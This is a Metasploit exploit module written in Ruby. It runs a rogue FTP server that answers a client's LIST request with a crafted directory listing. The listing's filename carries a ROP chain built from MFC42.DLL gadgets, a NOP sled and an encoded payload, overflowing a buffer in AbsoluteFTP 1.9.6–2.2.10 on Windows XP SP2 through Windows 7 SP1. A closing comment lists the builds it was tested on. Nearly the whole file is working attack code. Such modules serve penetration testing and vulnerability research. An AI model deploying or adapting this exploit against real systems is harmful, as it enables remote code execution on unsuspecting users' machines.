##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::FtpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AbsoluteFTP 1.9.6 - 2.2.10 Remote Buffer Overflow (LIST)',
      'Description'    => %q{
        This module exploits VanDyke Software AbsoluteFTP by overflowing
        a filename buffer related to the LIST command.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Node', # Original discovery, MSF module, ROP code
        ],
      'References'     =>
        [
          #[ 'OSVDB', '---' ],
          #[ 'CVE', '---' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/18102/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars' => "\x00\x0d\x5c\x2f\x0a",
        },
      'Targets'        =>
        [
          [
            'WinXP SP2 - Windows 7 SP1 / AbsoluteFTP 1.9.6 - 2.2.10.252',
            {
              'Ret'    => 0x5f479005,
              'Offset' => 3336
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 9 2011',
      'DefaultTarget'  => 0))
  end

  #copypasted from ScriptFTP exploit
  def on_client_unknown_command(c,cmd,arg)
    c.put("200 OK\r\n")
  end

  def on_client_command_list(c,arg)

    conn = establish_data_connection(c)
    if(not conn)
      c.put("425 Can't build data connection\r\n")
      return
    end

    print_status(" - Data connection set up")
    code = 150
    c.put("#{code} Here comes the directory listing.\r\n")

    code = 226
    c.put("#{code} Directory send ok.\r\n")

  rop_gadgets = 
    [
      0x5f46a206,  # POP EAX # RETN (MFC42.DLL)
      0x5f49b260,  # <- *&VirtualProtect() 
      0x5f413fa0,  # MOV EAX,DWORD PTR DS:[EAX] # RETN 04    ** [MFC42.DLL]
      0x5f418d93,  # PUSH EAX # ADD AL,5F # POP ESI # POP EBX # RETN    ** [MFC42.DLL]
      0x90909090,  # NOPS (RETN 4)
      0x90909090,  # NOPS (-> ebx)
      0x5f432001,  # POP EBP # RETN (MFC42.DLL)
      0x5F4774D5,  # ptr to 'jmp esp' (from MFC42.DLL)
      0x5f46a206,  # POP EAX # RETN (MFC42.DLL)
      0xfffffdff,  # value to negate, target value : 0x00000201, target reg : ebx #<--ADJUST ME FOR BIGGER PAYLOAD
      0x5f46f6dd,  # NEG EAX # RETN (MFC42.DLL)
      0x5f47909a,  # XCHG EAX,EBX # DEC EDX # POP EDI # RETN (MFC42.DLL)
      0x90909090,  # NOPS (-> edi)
      0x5f498456,  # POP ECX # RETN (MFC42.DLL)
      0x5F4D1115,  # RW pointer (lpOldProtect) (-> ecx) !!!
      0x5f46a206,  # POP EAX # RETN (MFC42.DLL)
      0xffffffc0,  # value to negate, target value : 0x00000040, target reg : edx
      0x5f46f6dd,  # NEG EAX # RETN (MFC42.DLL)
      0x5f4892df,  # XCHG EAX,EDX # DEC EAX # POP EDI # RETN (MFC42.DLL)
      0x5f479005,  # ROP NOP (-> edi)
      0x5f46a206,  # POP EAX # RETN (MFC42.DLL)
      0x90909090,  # NOPS (-> eax)
      0x5f4755b8,  # PUSHAD # RETN (MFC42.DLL)
    ].pack("V*")

    buffer = [0x5f479005].pack("V*")*848 #ROP NOP's
    buffer << rop_gadgets
    buffer << "\x90"*30
    buffer << payload.encoded

    #copypasted from ScriptFTP exploit
    print_status(" - Sending directory list via data connection")
    dirlist =  "-rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"
    dirlist << "   5 ftpuser  ftpusers       512 Jul 26  2001 A\r\n"
    dirlist << "rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"

    conn.put(dirlist)
    conn.close
    return
  end
end

=begin
Exploit has been tested to work on:

AbsoluteFTP 2.2.10 (build 252)
AbsoluteFTP 2.2.9 (build 248)
AbsoluteFTP 2.2.8 (build 241)
AbsoluteFTP 2.2.7 (build 238)
AbsoluteFTP 2.2.6 (build 230)
AbsoluteFTP 2.2.5 (build 225)
AbsoluteFTP 2.2.4 (build 216)
AbsoluteFTP 2.2.3 (build 210)
AbsoluteFTP 2.2.2 (build 203)
AbsoluteFTP 2.2 (build 197)
AbsoluteFTP 2.2 (build 291)
AbsoluteFTP 2.2B3 (build 163)
AbsoluteFTP 2.2B2 (build 158)
AbsoluteFTP 2.2B1 (build 144)
AbsoluteFTP 2.0.5 (build 297)
AbsoluteFTP 2.0.4 (build 293)
AbsoluteFTP 2.0.3 (build 289)
AbsoluteFTP 1.9.6

Does not work on:
AbsoluteFTP 1.8
=end